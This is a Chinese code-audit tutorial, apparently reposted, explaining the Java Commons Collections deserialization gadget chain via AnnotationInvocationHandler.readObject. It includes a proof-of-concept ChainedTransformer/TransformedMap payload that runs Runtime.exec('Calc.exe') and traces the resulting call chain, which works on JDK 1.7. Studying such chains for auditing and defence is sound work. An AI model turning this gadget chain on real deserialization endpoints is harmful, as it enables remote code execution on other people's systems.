Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链

这篇具有很好参考价值的文章主要介绍了Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x00 前言

反序列化总纲

观看顺序:

  • Java代码审计——Commons Collections 迭代调用链
  • Java代码审计——Commons Collections TransformedMap调用链

AnnotationInvocationHandler作为Commons Collections最后一个触发阶段调用链来进行学习

0X01 AnnotationInvocationHandler

首先来说AnnotationInvocationHandler,这个类是继承InvocationHandler,我们主要是要通过AnnotationInvocationHandler来进行触发TransformedMap等调用迭代链的地方。
先来看一下AnnotationInvocationHandler的readObject方法。

Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链
目前已知调用迭代链的方式有三种
TransformedMap

  • put
  • checkSetValue
    • 在setValue中会触发checkSetValue

在readObject方法中可以看到满足了setValue方法,通过setValue就会触发checkSetValue方法
Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链

1. 先上POC

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};
Transformer transformerChain = new
        ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "zeo");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

2、POC原理

首先我们要构造这个类,那么必然要先反射调用这个类,然后再对这个类的构造方法进行传参。
那么第一步就是反射类:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

然后就是获得类的构造方法:
获得私有构造方法需要使用getDeclaredConstructor+setAccessible()为true才可以进行获取所以

Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);

接着对构造方法进行传参

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

那么到这里就已经是完成了类的创建。

3. 调用链-TransformedMap

来看一下调用链。
首先是调用readObject中setValue
Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链
接着调用checkSetValue
Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链
接着就是TransformedMap中的checkSetValue
Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链
总结一下就是:

  • AnnotationInvocationHandler - readObject
    • setValue
    • AbstractInputCheckedMapDecorator -setValue
      • checkSetValue
    • TransformedMap - checkSetValue
      • TransformedMap 调用链
      • 迭代链

PS

这里为什么会用innerMap.put(“value”, “value”);
主要原因是因为var7会获取value:
Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链
这里var3中只能使用value获取到value
Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链

0x03 使用条件

  • JDK1.7

主要原因是因为AnnotationInvocationHandler 在1.8之后进行了修改,readObject被改了。文章来源地址https://www.toymoban.com/news/detail-403982.html

0x04 要点笔记

  • AnnotationInvocationHandler 类
  • 通过getDeclaredConstructor 获取私有构造方法,然后赋值

到了这里,关于Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java代码审计

    本文原创作者:谷哥的小弟 作者博客地址:http://blog.csdn.net/lfdfhl 代码审计是一种安全测试方法,它通过对软件应用程序代码的静态分析和动态测试来确定应用程序中存在的安全漏洞。其主要目的是检测应用程序中可能被攻击者利用的安全漏洞,如输入验证问题、访问控制问

    2024年02月12日
    浏览(38)
  • Java代码审计之XSS攻击

    存在XSS漏洞的java代码: 第一段 反射型XSS payload 第二段 存储型XSS 访问如下地址存储脚本到Cookie中 当后端再获取Cookie返回时 访问 成功弹窗 修复 目前最有效的办法,对特殊字符进行实体转义。 XSS安全代码: XSS排查 利用xsstriker等工具进行扫描 手动输入特殊字符看被没被实体

    2024年02月15日
    浏览(46)
  • java代码审计之SQL注入漏洞

    开更文章了,开一个关于Java代码审计相关的系列。 本来是想写成一本书的模式的,但是越写越发觉,篇幅太多,想了下还是每个专题单独写,而后最后汇总到一起。 慢慢写,基于笔者的理解抒写,如有问题,忘斧正。 关于这个系列不会可能有些不会写修复方案,也不会写得特别细

    2024年02月19日
    浏览(37)
  • Java代码审计-XMI注入(XXE)

    1.1.1 什么是XML XML 指可扩展标记语言(EXtensible Markup Language)。 XML 是一种很像HTML的标记语言。 XML 的设计宗旨是传输数据,而不是显示数据。 XML 标签没有被预定义。您需要自行定义标签。 XML 被设计为具有自我描述性。 XML 是 W3C 的推荐标准。 1.1.2 XML注入漏洞原理 使用不可信

    2024年02月04日
    浏览(62)
  • Java代码审计安全篇-SSRF(服务端请求伪造)漏洞

    前言:  堕落了三个月,现在因为被找实习而困扰,着实自己能力不足,从今天开始 每天沉淀一点点 ,准备秋招 加油 注意: 本文章参考qax的网络安全java代码审计,记录自己的学习过程,还希望各位博主 师傅 大佬 勿喷,还希望大家指出错误 SSRF漏洞  SSRF(Server-side Request

    2024年03月15日
    浏览(41)
  • Java代码审计&原生反序列化&CC链跟踪分析

    希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!   个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser\\\'s Blog 在前一篇文章我分析了Commons Collections1链​​​​​​​,其中跟链的顺序是:source=gadget=sink,但如果站在漏洞挖掘的角度顺序是倒过来的:sink=gadget=s

    2024年01月24日
    浏览(38)
  • 【Java代码审计】失效认证及不安全随机数篇

    根据密码学原理,随机数生成器分为以下三类: 1、统计学伪随机数生成器(PRNG):伪随机数生成器从一个初始化的种子值开始计算得到序列,从种子开始,然后从种子中计算出后续值,当种子确定后生成的随机数也是确定的,但其输出结果很容易预测,因此容易复制数值流

    2024年01月16日
    浏览(39)
  • Java代码审计15之Apache log4j2漏洞

    2.1、高版本测试 先说结论,ldap协议, rmi协议 还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ” 2.2、测试代码 先引入组件, main.java jndiexp.java 2.3、补充之dns探测 2.3.1、rmi、ldap也可以dnslog探测 在使用dnslog探测漏洞的时候, 其实不仅仅dns协议可以,ldap和rmi协议也可以, 类似的rmi,

    2024年02月10日
    浏览(46)
  • Duplicate class kotlin.collections.jdk8.CollectionsJDK8Kt found in modules。Android studio纯java代码报错

    我使用java代码 构建项目,初始代码运行就会报错。我使用的是Android Studio Giraffe(Adroid-studio-2022.3.1.18-windows)。我在网上找的解决办法是删除重复的类,但这操作起来真的太麻烦了。  这是全部报错代码: 最后在堆栈上找到了简单的方法,在Gradle Scripts里的build.gradle.kts添加上

    2024年02月11日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包